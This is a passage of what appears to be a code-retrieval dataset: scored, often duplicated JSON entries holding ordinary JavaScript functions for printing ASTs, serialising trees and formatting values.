"0.54844135", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "05e44815825badeead38398dbed2aa8b", "score": "0.54844135", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "05e44815825badeead38398dbed2aa8b", "score": "0.54844135", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "05e44815825badeead38398dbed2aa8b", "score": "0.54844135", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "05e44815825badeead38398dbed2aa8b", "score": "0.54844135", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "05e44815825badeead38398dbed2aa8b", "score": "0.54844135", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "05e44815825badeead38398dbed2aa8b", "score": "0.54844135", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "05e44815825badeead38398dbed2aa8b", "score": "0.54844135", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "b2cb10569dc2bc522dc4313d0c9b555a", "score": "0.5478341", "text": "function printAstToDoc(ast, options) {\n var alignmentSize = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0;\n var printer = options.printer;\n\n if (printer.preprocess) {\n ast = printer.preprocess(ast, options);\n }\n\n var cache = new Map();\n\n function printGenerically(path, args) {\n var node = path.getValue();\n var shouldCache = node && _typeof(node) === \"object\" && args === undefined;\n\n if (shouldCache && cache.has(node)) {\n return cache.get(node);\n } // We let JSXElement print its comments itself because it adds () around\n // UnionTypeAnnotation has to align the child without the comments\n\n\n var res;\n\n if (printer.willPrintOwnComments && printer.willPrintOwnComments(path, options)) {\n res = callPluginPrintFunction(path, options, printGenerically, args);\n } else {\n // printComments will call the plugin print function and check for\n // comments to print\n res = comments.printComments(path, function (p) {\n return callPluginPrintFunction(p, options, printGenerically, args);\n }, options, args && args.needsSemi);\n }\n\n if (shouldCache) {\n cache.set(node, res);\n }\n\n return res;\n }\n\n var doc = printGenerically(new FastPath(ast));\n\n if (alignmentSize > 0) {\n // Add a hardline to make the indents take effect\n // It should be removed in index.js format()\n doc = addAlignmentToDoc(concat([hardline, doc]), alignmentSize, options.tabWidth);\n }\n\n docUtils.propagateBreaks(doc);\n return doc;\n}", "title": "" }, { "docid": "3d0e0593d42df34e90531bf50ab88f34", "score": "0.5461954", "text": "toString ( options ) {\n\n debug(`Converting this environment to string:`)\n this.inspect()\n ////////////////////\n // let recursive = TimerStart('toString')\n ////////////////////\n\n // options.Indent determines if we should indent and add newlines\n if (options && options.Indent ) {\n // indentLevel and tabsize are also optional options\n if (!options.hasOwnProperty('indentLevel')) options.indentLevel = 0\n if (!options.hasOwnProperty('tabsize')) options.tabsize = 2\n let tab = () => ' '.repeat(options.tabsize).repeat(options.indentLevel)\n let result = ''\n result+=( this.isAGiven ? ':' : '' )\n + ( this.isAFormula ? '[' :\n ( this.declaration && this.declaration === 'variable'\n ? 'Let{' :\n ( this.declaration && this.declaration === 'constant'\n ? 'Declare{' : '{' )))\n + '\\n'\n options.indentLevel++\n result+= tab()\n + this.children().map( child => child.toString(options) )\n .join('\\n'+tab())\n + '\\n'\n options.indentLevel--\n result+= tab()\n + ( this.isAFormula ? ']' : '}' )\n + ( ( options && options.FIC && this.isValidated ) ?\n ( (this.isValid) ? '✓' : '✗' ) : '' )\n\n ////////////////////\n // TimerStop('toString',recursive)\n ////////////////////\n\n return result\n } else {\n\n ////////////////////\n // TimerStop('toString',recursive)\n ////////////////////\n\n return ( this.isAGiven ? ':' : '' )\n + ( this.isAFormula ? '[ ' :\n ( this.declaration && this.declaration === 'variable'\n ? 'Let{ ' :\n ( this.declaration && this.declaration === 'constant'\n ? 'Declare{ ' : '{ ' )))\n + this.children().map( child => child.toString(options) ).join( ' ' )\n + ( this.isAFormula ? ' ]' : ' }' )\n + ( ( options && options.FIC && this.isValidated ) ?\n ( (this.isValid) ? '✓' : '✗' ) : '' )\n }\n }", "title": "" }, { "docid": "5dc951d2dbef30dd84df549beddd37d3", "score": "0.5454662", "text": "@memoize\n get AST() {\n if (!this.rule.getAST) {\n console.warn(\"No getAST() method defined for rule: \", this.rule)\n return undefined\n }\n return this.rule.getAST(this)\n }", "title": "" }, { "docid": "9fce1620d04662b5f7faf1f70b275d74", "score": "0.545185", "text": "function print(ast) {\n return Object(_visitor__WEBPACK_IMPORTED_MODULE_0__[\"visit\"])(ast, {\n leave: printDocASTReducer\n });\n} // TODO: provide better type coverage in future", "title": "" }, { "docid": "b9c4a43d0864b3578d4fa29025937ea8", "score": "0.54430246", "text": "function print(ast) {\n return Object(_visitor_mjs__WEBPACK_IMPORTED_MODULE_0__[\"visit\"])(ast, {\n leave: printDocASTReducer\n });\n }", "title": "" }, { "docid": "10d303f16bf7ae92f1ff777a8c9005cb", "score": "0.5438437", "text": "function tree2str(node) {\n if (!node) return '';\n return getTreeString(node, node);\n}", "title": "" }, { "docid": "6611f328d4a622e61e44a48fbd89360d", "score": "0.5438312", "text": "function print(ast) {\n return Object(_visitor_mjs__WEBPACK_IMPORTED_MODULE_0__[\"visit\"])(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "6611f328d4a622e61e44a48fbd89360d", "score": "0.5438312", "text": "function print(ast) {\n return Object(_visitor_mjs__WEBPACK_IMPORTED_MODULE_0__[\"visit\"])(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "3427870f891ddd69157cf06b548c353c", "score": "0.5438003", "text": "function astToJsStructureP(ast){\n if (ast.length > 1) {\n return \"(\" + astToJsStructure(ast) + \")\"\n }\n else {\n return astToJsStructure(ast);\n }\n}", "title": "" }, { "docid": "3427870f891ddd69157cf06b548c353c", "score": "0.5438003", "text": "function astToJsStructureP(ast){\n if (ast.length > 1) {\n return \"(\" + astToJsStructure(ast) + \")\"\n }\n else {\n return astToJsStructure(ast);\n }\n}", "title": "" }, { "docid": "490d9019fdee896352bc59294e93e089", "score": "0.542237", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, { leave: printDocASTReducer });\n}", "title": "" }, { "docid": "490d9019fdee896352bc59294e93e089", "score": "0.542237", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, { leave: printDocASTReducer });\n}", "title": "" }, { "docid": "490d9019fdee896352bc59294e93e089", "score": "0.542237", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, { leave: printDocASTReducer });\n}", "title": "" }, { "docid": "490d9019fdee896352bc59294e93e089", "score": "0.542237", "text": "function print(ast) {\n return (0, _visitor.visit)(ast, { leave: printDocASTReducer });\n}", "title": "" }, { "docid": "49b3ca6a24d430635de03f0ba54c47a7", "score": "0.5421911", "text": "solveTree() {\n return mathjs.simplify(this.expressionString).toString().replace(/\\s/g, '');\n }", "title": "" }, { "docid": "6dfcd575723d5c551757de7fd40e6a67", "score": "0.54152036", "text": "function printAstToDoc(ast, options) {\n var alignmentSize = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 0;\n var printer = options.printer;\n\n if (printer.preprocess) {\n ast = printer.preprocess(ast, options);\n }\n\n var cache = new Map();\n\n function printGenerically(path, args) {\n var node = path.getValue();\n var shouldCache = node && _typeof(node) === \"object\" && args === undefined;\n\n if (shouldCache && cache.has(node)) {\n return cache.get(node);\n } // We let JSXElement print its comments itself because it adds () around\n // UnionTypeAnnotation has to align the child without the comments\n\n\n var res;\n\n if (printer.willPrintOwnComments && printer.willPrintOwnComments(path)) {\n res = callPluginPrintFunction(path, options, printGenerically, args);\n } else {\n // printComments will call the plugin print function and check for\n // comments to print\n res = comments.printComments(path, function (p) {\n return callPluginPrintFunction(p, options, printGenerically, args);\n }, options, args && args.needsSemi);\n }\n\n if (shouldCache) {\n cache.set(node, res);\n }\n\n return res;\n }\n\n var doc$$2 = printGenerically(new fastPath(ast));\n\n if (alignmentSize > 0) {\n // Add a hardline to make the indents take effect\n // It should be removed in index.js format()\n doc$$2 = addAlignmentToDoc$1(docUtils$2.removeLines(concat$3([hardline$2, doc$$2])), alignmentSize, options.tabWidth);\n }\n\n docUtils$2.propagateBreaks(doc$$2);\n return doc$$2;\n}", "title": "" }, { "docid": "3b45b4dae957bc83962fc125c73ebe80", "score": "0.540019", "text": "toString(includeIndent = false) {\n const serializeSpans = (spans, escStyle) => {\n return spans\n .filter(sp => !(sp.boundary.subject instanceof Truth.Anon))\n .map(sp => Truth.SubjectSerializer.forExternal(sp, escStyle))\n .join(\",\" /* combinator */ + \" \" /* space */);\n };\n const indent = includeIndent ? \"\\t\" /* tab */.repeat(this.indent) : \"\";\n if (this.isCruft)\n return indent + \"(cruft)\";\n if (this.isWhitespace)\n return indent;\n if (this.isVacuous)\n return indent + \":\" /* joint */;\n const decls = serializeSpans(this.allDeclarations, 1 /* declaration */);\n const annos = serializeSpans(this.allAnnotations, 2 /* annotation */);\n const joint = annos.length > 0 || this.isRefresh ? \":\" /* joint */ : \"\";\n const jointL = decls.length > 0 && joint !== \"\" ? \" \" /* space */ : \"\";\n const jointR = annos.length > 0 ? \" \" /* space */ : \"\";\n return indent + decls + jointL + joint + jointR + annos;\n }", "title": "" }, { "docid": "c03cfcbbcb18aaaa559d321b2d645165", "score": "0.53928703", "text": "function print(ast) {\n\t return (0, _visitor.visit)(ast, { leave: printDocASTReducer });\n\t}", "title": "" }, { "docid": "8220b9de9becd7974b5c751419d8e4f6", "score": "0.53628826", "text": "tree2CodeHelper(root,level){\n if(root.nameTag===\"line\"){\n return this.indentString(this.reconstructTokenCode(root),level);\n }\n var string=\"\";\n if(root.beginning.length>0){\n for(var i=0;i<root.beginning.length;i++){\n string+=this.tree2CodeHelper(root.beginning[i],level);\n }\n }\n if(root.children.length>0){\n for(var i=0;i<root.children.length;i++){\n string+=this.tree2CodeHelper(root.children[i],level+1);\n }\n }\n if(root.ending.length>0){\n for(var i=0;i<root.ending.length;i++){\n string+=this.tree2CodeHelper(root.ending[i],level);\n }\n }\n return string;\n }", "title": "" }, { "docid": "9d04147ed357d1fb1ff954fbf2ca6fd1", "score": "0.53600746", "text": "function ASTparse_Expr(){\n\tdocument.getElementById(\"AStree\").value += \"ASTparser: ASTparse_Expr()\" + '\\n';\n\t//ASTREE.addNode('Expr', 'branch');\n\n\t\n\tvar ASTtempDesc = tokenstreamCOPY[ASTparseCounter][0]; //check desc of token\n\tvar ASTtempType = tokenstreamCOPY[ASTparseCounter][1]; //check type of token\n\tif(ASTtempType == 'digit'){\n\t\tASTparse_IntExpr();\n\t\tASTREE.endChildren();\n\t\t\n\t\t\n\t\n\t\t\n\t}\n\telse if (ASTtempDesc == ' \"'){\n\t\tASTparse_StringExpr();\n\t\tASTREE.endChildren();\n\t}\n\telse if (ASTtempDesc == ' (' || ASTtempType == 'boolval'){\n\t\tASTparse_BooleanExpr();\n\t\tASTREE.endChildren();\n\t\n\t\t\n\t}\n\telse if (ASTtempType == 'identifier' ) {\n\t\tASTparse_ID();\n\t\t//ASTREE.endChildren();\n\t\t//ASTREE.endChildren();\n\t\t\n\t\n\t\t\n\t}\n\t\n\t\t\n\t//ASTREE.endChildren();\t\n\t\n\t\n}", "title": "" }, { "docid": "9530bbd5cccf13fca5f2b2ba8529fa21", "score": "0.53457135", "text": "function print(ast) {\n return (0, _visitor$5.visit)(ast, {\n leave: printDocASTReducer\n });\n }", "title": "" }, { "docid": "3f18d0c00c4601ff553dbb3aa50531c7", "score": "0.53155243", "text": "function astify(tokens) {\n\n\t\tfunction helper(opening_bracket) {\n\t\t\t// Tree nodes have keys [children, start, end]\n\t\t\tvar result = {children: [], start: opening_bracket ? opening_bracket.start : \"1:1\"};\n\t\t\twhile (tokens.length > 0) {\n\t\t\t\tif (tokens[0].text == \"(\" || tokens[0].text == \"[\") {\n\t\t\t\t\tvar bracket = tokens[0];\n\t\t\t\t\tstorage.push(tokens.shift());\n\t\t\t\t\tresult.children.push(helper(bracket));\n\t\t\t\t} else if (tokens[0].text == \")\" || tokens[0].text == \"]\") {\n\t\t\t\t\tif (!opening_bracket || tokens[0].text != brackets_map[opening_bracket.text]) {\n\t\t\t\t\t\tthrow util.make_church_error(\"SyntaxError\", tokens[0].start, tokens[0].end, \"Unexpected close parens\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\tresult[\"end\"] = tokens[0].start;\n\t\t\t\t\t\topening_bracket.end = tokens[0].start;\n\t\t\t\t\t\tstorage.push(tokens.shift());\n\t\t\t\t\t\treturn result;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar token = tokens.shift();\n\t\t\t\t\tstorage.push(token);\n\t\t\t\t\tresult.children.push(token);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!opening_bracket) {\n\t\t\t\treturn result;\n\t\t\t} else {\n\t\t\t\tthrow util.make_church_error(\"SyntaxError\", opening_bracket.start, opening_bracket.end, \"Unclosed parens\");\n\t\t\t}\n\t\t}\n\t\tvar storage = [];\n\t\tvar ast = helper();\n\t\tfor (var i = 0; i < storage.length; i++) {\n\t\t\ttokens.push(storage[i]);\n\t\t}\n\t\treturn ast;\n\t}", "title": "" }, { "docid": "7bf2540c614bf533e014d14aee07b190", "score": "0.53129876", "text": "function print(ast) {\n return Object(__WEBPACK_IMPORTED_MODULE_0__visitor__[\"b\" /* visit */])(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "bbd18101bfd89a8bd19360ea34cb05e5", "score": "0.53095", "text": "function print(ast) {\n return visit(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "ea2b811a614a12cf4bfdbe6c4dc54083", "score": "0.53026307", "text": "function print(ast) {\n return Object(_visitor__WEBPACK_IMPORTED_MODULE_0__[\"visit\"])(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "ea2b811a614a12cf4bfdbe6c4dc54083", "score": "0.53026307", "text": "function print(ast) {\n return Object(_visitor__WEBPACK_IMPORTED_MODULE_0__[\"visit\"])(ast, {\n leave: printDocASTReducer\n });\n}", "title": "" }, { "docid": "cd3e04b68e364c332afbc85ad0c6c3ce", "score": "0.5300382", "text": "function print(ast) {\n\t return (0, visitor.visit)(ast, { leave: printDocASTReducer });\n\t}", "title": "" }, { "docid": "c3a188e804c303db54d131b3351a8403", "score": "0.52921635", "text": "function represent(thing) {\n let result\n switch (typeof (thing)) {\n case 'string':\n result = '\"' + thing + '\"'\n break\n case 'number':\n result = thing\n break\n case 'object':\n if (null === thing) {\n result = 'null'\n break\n }\n if (Array.isArray(thing)) {\n result = '[' + thing.map(represent).join(',') + ']'\n break\n }\n let names = []\n for (let name in thing) names.push(name)\n result = '/* ' + thing + ' */'\n if (names.length > 0) {\n result += ' \\n{ '\n result += names.slice(0, 7).map(function (name) {\n let repr = name + ': '\n try {\n let $ = thing[name]\n repr += 'object' == typeof $ && null !== $ ? '{...}' : represent($)\n } catch (e) {\n repr += '[Exception!]'\n }\n return repr\n }).join('\\n, ')\n if (names.length > 7) result += '\\n, ....................'\n result += '\\n}'\n }\n break\n case \"function\":\n result = thing.toString().split('\\n').slice(0, 2).join('\\n') + '...}'\n break\n default:\n result = '' + thing\n }\n return result\n}", "title": "" }, { "docid": "181b36f8f781b5079094456ee225e699", "score": "0.5264573", "text": "function ASTparse_PrintStatement(){\n\tdocument.getElementById(\"AStree\").value += \"ASTparser: ASTparse_PrintStatement()\" + '\\n';\n\tASTREE.addNode('PrintStatment', 'branch');\n\n\t\n\t//ASTmatchSpecChars(' print',ASTparseCounter);\n\t\n\tASTparseCounter = ASTparseCounter + 1;\n\t\n\t\n\t//ASTmatchSpecChars('(',ASTparseCounter);\n\t\n\tASTparseCounter = ASTparseCounter + 1;\n\t\n\t\n\tASTparse_Expr(); \n\t\n\t\n\t\n\t//ASTmatchSpecChars (')',ASTparseCounter);\n\t\n\tASTREE.endChildren();\n\n\tASTparseCounter = ASTparseCounter + 1;\n\t\n\t\n}", "title": "" }, { "docid": "ce8ed8960f1bf42aed88f4534f8fbb08", "score": "0.52512234", "text": "function to_string(stmts){\n stmts = reduceRepeat(stmts);\n premises = stmts.filter(stmt=>stmt.rule == 'Premise');\n if(premises.length)console.warn('There are still premises in the proof', premises)\n var facts = stmts.map(s=>s.fact);\n var maxlength =facts.map(f=>f.length).reduce((a,b)=>(a>b)?a:b, 0);\n \n var out = '';\n for(var i = 0; i < stmts.length; i++){\n let s = stmts[i];\n out += (i+1) + '. ' + s.fact + ' '.repeat(maxlength - s.fact.length) + ' ' + s.rule;\n if(s.rule == 'Modus Ponens'){\n let k = facts.indexOf(s.previous), l = facts.indexOf('('+s.previous+'->'+s.fact+')');\n if(k == -1 || l == -1)throw \"Modus ponens not valid line: \" + i + ' ' + k + ', ' + l;\n out += ': ' + (k+1) + ', ' + (l+1);\n }\n out += '\\n';\n }\n return out;\n}", "title": "" }, { "docid": "de4cebc4a2864b2edbc2fbf21e01b3be", "score": "0.5240324", "text": "function print(ast) {\n return visit(ast, {\n leave: printDocASTReducer\n });\n }", "title": "" }, { "docid": "3408d775298c6e67731870e7ddb37b3c", "score": "0.5236126", "text": "function flatten_string_concatenation(ast) {\n if (ast.kind === 'bin' && ast.type === '.') {\n var rest = flatten_string_concatenation(ast.left);\n return rest.concat(flatten_string_concatenation(ast.right));\n } else if (ast.kind === 'encapsed') {\n // unfold encapsed string, like \"hello, {$name}!\"\n return ast.value.reduce(function(prev, current, index, arr) {\n return prev.concat(flatten_string_concatenation(current));\n }, []);\n } else if (ast.kind === 'parenthesis') {\n // (hoge) => hoge\n return flatten_string_concatenation(ast.inner);\n } else {\n return [ast];\n }\n}", "title": "" }, { "docid": "6284b7c146dbc07cd8c7976454d1d9a4", "score": "0.5196914", "text": "function format(value) {\n var result;\n indentDepth++;\n\n switch(typeof value) {\n case 'string':\n result = <Text style={styles.string}>'{value}'</Text>;\n break;\n\n case 'boolean':\n result = <Text style={styles.number}>{value ? 'true' : 'false'}</Text>;\n break;\n\n case 'number':\n result = <Text style={styles.number}>{value}</Text>;\n break;\n\n case 'undefined':\n result = <Text style={styles.undefined}>undefined</Text>;\n break;\n\n case 'function':\n result = (\n <Text style={styles.object}>\n [Function{(value.name ? ': ' + value.name : '')}]\n </Text>\n );\n break;\n\n case 'object':\n if (value instanceof Error) {\n result = (\n <Text style={styles.error}>\n {value.constructor.name + ': ' + value.message}\n </Text>\n );\n }\n else if (value instanceof Date) {\n result = <Text style={styles.date}>{value.toString()}</Text>;\n }\n else if (value === null) {\n result = <Text style={styles.null}>null</Text>;\n }\n else if (Array.isArray(value)) {\n result = recurse(value);\n }\n else {\n if ((indentDepth > 0 && GLOBAL === value) || indentDepth > 1) {\n var label = GLOBAL === value ? 'Circular' : 'Object';\n result = <Text style={styles.object}>[{label}]</Text>;\n }\n else {\n try {\n result = recurse(value);\n } catch (e) {\n // Errors happen when trying to render React components\n // Probably better to detect that it's a component but ¯\\_(ツ)_/¯\n result = <Text style={styles.object}>[Object]</Text>;\n }\n }\n }\n break;\n\n default:\n result = <Text>{value}</Text>;\n }\n\n indentDepth--;\n return result;\n}", "title": "" }, { "docid": "f195925a548be6b96389f4c378d2c199", "score": "0.5194802", "text": "function treeGroup2str(treeGroup) {\n resultVal = '';\n for (let i in treeGroup.children) {\n let tree = treeGroup.children[i];\n resultVal += tree2str(tree) + '\\n\\n'; \n }\n return resultVal;\n}", "title": "" }, { "docid": "a1a0c8bddec0b3de55ea1e82569da7f1", "score": "0.51560086", "text": "function pp(ast)\n{\n pp_indent(ast, 0);\n}", "title": "" }, { "docid": "9cae7109c7ad6911d0b4909efdac8a91", "score": "0.51509696", "text": "function traverseNode(ast) {\n\n var Node = new Object();\n Node['label'] = ast.loc.source;\n Node['type'] = ast.kind;\n Node['children'] = [];\n if (Node['type'] === 'string' || Node['type'] === 'encapsed') {\n global.str = ast.loc.source;\n }\n var childNode = [];\n if (typeof ast !== 'undefined' && ast !== null) {\n\n\n if (typeof ast.children !== 'undefined' && ast.children !== null) {\n var children = ast.children;\n\n for (var i = 0; i < ast.children.length; i++) {\n childNode.push(traverseNode(children[i]));\n }\n\n\n }\n if (typeof ast.expression !== 'undefined' && ast.expression !== null) {\n childNode.push(traverseNode(ast.expression));\n }\n if (typeof ast.left !== 'undefined' && ast.left !== null) {\n childNode.push(traverseNode(ast.left));\n\n }\n if (typeof ast.right !== 'undefined' && ast.right !== null) {\n childNode.push(traverseNode(ast.right));\n }\n if (typeof ast.test !== 'undefined' && ast.test !== null) {\n childNode.push(traverseNode(ast.test));\n }\n if (typeof ast.what !== 'undefined' && ast.what !== null) {\n childNode.push(traverseNode(ast.what));\n }\n if (typeof ast.type !== 'undefined' && ast.type !== null) {\n var Node1 = new Object();\n Node1['label'] = ast.type;\n Node1['type'] = 'type';\n Node1['children'] = [];\n childNode.push(Node1);\n }\n if (typeof ast.offset !== 'undefined' && ast.offset !== null) {\n childNode.push(traverseNode(ast.offset));\n }\n\n if (typeof ast.body !== 'undefined' && ast.body !== null) {\n childNode.push(traverseNode(ast.body));\n }\n if (typeof ast.alternate !== 'undefined' && ast.alternate !== null) {\n childNode.push(traverseNode(ast.alternate));\n }\n if (typeof ast.expressions !== 'undefined' && ast.expressions !== null) {\n var Node1 = new Object();\n Node1['label'] = 'expressions';\n Node1['type'] = 'expressions';\n Node1['children'] = [];\n var expressions = ast.expressions;\n\n for (var i = 0; i < ast.expressions.length; i++) {\n Node1['children'].push(traverseNode(expressions[i]));\n }\n childNode.push(Node1);\n }\n\n if (typeof ast.arguments !== 'undefined' && ast.arguments !== null) {\n var Node1 = new Object();\n Node1['label'] = 'arguments';\n Node1['type'] = 'arguments';\n Node1['children'] = [];\n var arguments = ast.arguments;\n\n for (var i = 0; i < ast.arguments.length; i++) {\n Node1['children'].push(traverseNode(arguments[i]));\n }\n childNode.push(Node1);\n }\n }\n Node['children'] = childNode;\n return Node;\n\n}", "title": "" }, { "docid": "6291cef41123d2e03281c7122a6bc906", "score": "0.51367456", "text": "function ASTparse_StringExpr(){\n\tdocument.getElementById(\"AStree\").value += \"ASTparser: ASTparse_StringExpr()\" + '\\n';\n\t//ASTREE.addNode('StringExpr', 'branch');\n\t\n\t//ASTmatchSpecChars(' \"',ASTparseCounter);\n\t\n\tASTparseCounter = ASTparseCounter + 1;\n\t\n\tASTASTparse_charList();\n\n\t\n\t//ASTmatchSpecChars(' \"',ASTparseCounter);\n\t\n\t\n\t\n\tASTparseCounter = ASTparseCounter + 1;\n\t\n}", "title": "" }, { "docid": "f4b8a107c557cba67ee1801668167944", "score": "0.51310045", "text": "toString(){\n let currentIndex = this.N;\n let s = `\\tStart \\tEnd \\tSuf \\tFirst \\tLast \\tString\\n`;\n console.table();\n let values = Object.values(this.edges);\n values.sort((a, b) => a.firstCharIndex - b.firstCharIndex);\n\n for(let edge of values){\n if(edge.sourceNodeIndex === -1) continue;\n\n s += `\\t${edge.sourceNodeIndex} \\t${edge.destNodeIndex} \\t${this.nodes[edge.destNodeIndex].suffixNode} \\t${edge.firstCharIndex} \\t${edge.lastCharIndex} \\t`;\n\n let top = Math.min(currentIndex, edge.lastCharIndex);\n s += this.string.substring(edge.firstCharIndex, top + 1) + '\\n';\n }\n\n return s;\n }", "title": "" }, { "docid": "fc807e6285e6671ef474f31069c189c0", "score": "0.5124259", "text": "function pretty(input) {\n return input.toString();\n}", "title": "" }, { "docid": "d50f36270730f579521e5b913321aaa1", "score": "0.51233345", "text": "toString() {\n return `{# ${toktypeToString(type)} : nl=${nl?'Y':'N'} pos=${start}:${stop} loc=${column}:${line} \\`${str}\\`${canon&&canon!==str?' (canonical=`' + canon + '`)':''}#}`;\n }", "title": "" }, { "docid": "0ff60fb9b33ca274adb931d56c233d33", "score": "0.51214117", "text": "function astToJSON(ast) {\n switch (ast.kind) {\n case language_1.Kind.NULL:\n return null;\n case language_1.Kind.INT:\n return parseInt(ast.value, 10);\n case language_1.Kind.FLOAT:\n return parseFloat(ast.value);\n case language_1.Kind.STRING:\n case language_1.Kind.BOOLEAN:\n return ast.value;\n case language_1.Kind.LIST:\n return ast.values.map(astToJSON);\n case language_1.Kind.OBJECT:\n return ast.fields.reduce(function (object, _a) {\n var name = _a.name, value = _a.value;\n object[name.value] = astToJSON(value);\n return object;\n }, {});\n }\n}", "title": "" }, { "docid": "ceea9d09ce08bf93ab89bc5ce12de55e", "score": "0.51057357", "text": "function toString() {\n return tokens.join('');\n }", "title": "" }, { "docid": "57f77017111f5083d56e48fe23a9b734", "score": "0.5103026", "text": "function AMnode2string(inNode, indent) {\n var i, str = \"\";\n if (inNode.nodeType == 1) {\n var name = inNode.nodeName.toLowerCase(); // (IE fix)\n str = newline + indent + \"<\" + name;\n for (i=0; i < inNode.attributes.length; i++) {\n var attrValue = inNode.attributes[i].nodeValue;\n if (attrValue!=\"italic\" &&\n attrValue!=\"\" && //stop junk attributes\n attrValue!=\"inherit\" && // (mostly IE)\n attrValue!=undefined) {\n str += \" \" + inNode.attributes[i].nodeName\n + \"=\\\"\" + AMescapeValue(inNode.attributes[i].nodeValue) + \"\\\"\";\n }\n }\n if (name == \"math\") str += \" xmlns=\\\"http://www.w3.org/1998/Math/MathML\\\"\";\n str += \">\";\n for(i=0; i<inNode.childNodes.length; i++) {\n str += AMnode2string(inNode.childNodes[i], indent+\" \");\n }\n if (name != \"mo\" && name != \"mi\" && name != \"mn\") {\n str += newline + indent;\n }\n str += \"</\" + name + \">\";\n }\n else if (inNode.nodeType == 3) {\n str += AMescapeValue(inNode.nodeValue);\n }\n return str;\n}", "title": "" }, { "docid": "5be95e34087ede5e8df5f27a9224704e", "score": "0.50791764", "text": "function grammarToString(grammarName) {\n return grammarRules(grammarName).map(function (r) { return r.fullName + \" <- \" + r.definition; }).join('\\n');\n }", "title": "" }, { "docid": "35587dd37383153e226c21f7b96a3a40", "score": "0.5074682", "text": "function format(tree) {\n\t\treturn tree.map(function(node) {\n\t\t\treturn {\n\t\t\t\tid : node.id,\n\t\t\t\tstart : node.start,\n\t\t\t\tend : node.end,\n\t\t\t\ttop : node.start,\n\t\t\t\tleft : node.width * node.depth,\n\t\t\t\twidth : node.width,\n\t\t\t\theight : node.height\n\t\t\t};\n\t\t});\n\t}", "title": "" }, { "docid": "0e3fa22391fde9277a9fd35d2e4dd37e", "score": "0.5067204", "text": "function stringify(node, doc) {\n\t var file = vfile(doc);\n\t var Compiler;\n\t\n\t freeze();\n\t Compiler = processor.Compiler;\n\t assertCompiler('stringify', Compiler);\n\t assertNode(node);\n\t\n\t if (newable(Compiler)) {\n\t return new Compiler(node, file).compile();\n\t }\n\t\n\t return Compiler(node, file); // eslint-disable-line new-cap\n\t }", "title": "" }, { "docid": "b4193a2426b80c72e6e5809ee180b070", "score": "0.5065715", "text": "get ast() {\n return this.parser.ast;\n }", "title": "" }, { "docid": "800379117772ba05e0a76430bbbb4950", "score": "0.50595725", "text": "toString(escape = 0 /* none */) {\n const val = (() => {\n switch (escape) {\n case 0 /* none */:\n return this.textContent;\n case 1 /* declaration */:\n {\n // Regex delimiters are escaped if and only if \n // they're the first character in a term.\n const dlmReg = new RegExp(\"^\" + \"/\" /* main */);\n const jntRegS = new RegExp(\":\" /* joint */ + \" \" /* space */);\n const jntRegT = new RegExp(\":\" /* joint */ + \"\\t\" /* tab */);\n const cmbReg = new RegExp(\",\" /* combinator */);\n return this.textContent\n .replace(dlmReg, \"\\\\\" /* escapeChar */ + \"/\" /* main */)\n .replace(jntRegS, \"\\\\\" /* escapeChar */ + \":\" /* joint */ + \" \" /* space */)\n .replace(jntRegT, \"\\\\\" /* escapeChar */ + \":\" /* joint */ + \"\\t\" /* tab */)\n .replace(cmbReg, \"\\\\\" /* escapeChar */ + \",\" /* combinator */);\n }\n case 2 /* annotation */:\n {\n const reg = new RegExp(\",\" /* combinator */);\n const rep = \"\\\\\" /* escapeChar */ + \",\" /* combinator */;\n return this.textContent.replace(reg, rep);\n }\n }\n })();\n return val + (this.isList ? \"...\" /* list */ : \"\");\n }", "title": "" }, { "docid": "1024d5b769d8a6eecf4939c994ecf45c", "score": "0.5040827", "text": "function prettyFormat(str) {\n return str;\n }", "title": "" }, { "docid": "f763ec4eed5b09db406c7ef76646d36c", "score": "0.5027091", "text": "function stringify(node, doc) {\n var file = vfile(doc);\n var Compiler;\n\n freeze();\n Compiler = processor.Compiler;\n assertCompiler('stringify', Compiler);\n assertNode(node);\n\n if (newable(Compiler)) {\n return new Compiler(node, file).compile();\n }\n\n return Compiler(node, file); // eslint-disable-line new-cap\n }", "title": "" }, { "docid": "f763ec4eed5b09db406c7ef76646d36c", "score": "0.5027091", "text": "function stringify(node, doc) {\n var file = vfile(doc);\n var Compiler;\n\n freeze();\n Compiler = processor.Compiler;\n assertCompiler('stringify', Compiler);\n assertNode(node);\n\n if (newable(Compiler)) {\n return new Compiler(node, file).compile();\n }\n\n return Compiler(node, file); // eslint-disable-line new-cap\n }", "title": "" }, { "docid": "f763ec4eed5b09db406c7ef76646d36c", "score": "0.5027091", "text": "function stringify(node, doc) {\n var file = vfile(doc);\n var Compiler;\n\n freeze();\n Compiler = processor.Compiler;\n assertCompiler('stringify', Compiler);\n assertNode(node);\n\n if (newable(Compiler)) {\n return new Compiler(node, file).compile();\n }\n\n return Compiler(node, file); // eslint-disable-line new-cap\n }", "title": "" }, { "docid": "f763ec4eed5b09db406c7ef76646d36c", "score": "0.5027091", 